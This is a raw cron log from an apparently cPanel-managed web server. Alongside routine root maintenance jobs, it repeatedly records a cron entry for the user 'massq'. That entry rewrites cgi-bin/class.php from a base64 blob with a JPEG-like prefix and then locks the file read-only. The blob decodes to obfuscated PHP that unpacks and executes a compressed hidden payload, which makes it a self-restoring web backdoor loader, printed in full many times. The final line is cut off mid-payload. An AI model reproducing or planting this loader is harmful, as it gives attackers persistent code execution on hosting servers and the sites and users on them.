Sep  4 12:15:01 server CROND[4485]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 12:15:01 server CROND[4486]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 12:15:01 server CROND[4490]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 12:15:01 server CROND[4489]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  4 12:15:01 server CROND[4496]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep  4 12:15:01 server CROND[4494]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 12:15:01 server CROND[4498]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 12:15:01 server CROND[4500]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:15:01 server CROND[4495]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  4 12:16:02 server CROND[5440]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:16:02 server CROND[5441]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:16:02 server CROND[5442]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 12:17:01 server CROND[5944]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 12:17:01 server CROND[5945]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:17:01 server CROND[5946]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:18:01 server CROND[6323]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:18:01 server CROND[6325]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 12:18:01 server CROND[6324]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:19:01 server CROND[6696]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:19:01 server CROND[6697]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 12:19:01 server CROND[6698]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:20:01 server CROND[7111]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 12:20:01 server CROND[7114]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 12:20:01 server CROND[7115]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 12:20:01 server CROND[7132]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 12:20:01 server CROND[7120]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 12:20:01 server CROND[7133]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 12:20:01 server CROND[7118]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 12:20:01 server CROND[7134]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:20:01 server CROND[7135]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:21:01 server CROND[7976]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:21:01 server CROND[7977]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 12:21:01 server CROND[7975]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:22:01 server CROND[8452]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 12:22:01 server CROND[8453]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:22:01 server CROND[8454]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:23:01 server CROND[8919]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:23:01 server CROND[8920]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 12:23:01 server CROND[8921]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:24:01 server CROND[9296]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:24:01 server CROND[9297]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 12:24:01 server CROND[9298]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:25:01 server CROND[9673]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 12:25:01 server CROND[9674]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 12:25:01 server CROND[9687]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 12:25:01 server CROND[9688]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:25:01 server CROND[9698]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 12:25:01 server CROND[9702]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 12:25:01 server CROND[9704]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:25:01 server CROND[9701]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  4 12:26:01 server CROND[10519]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 12:26:01 server CROND[10521]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAV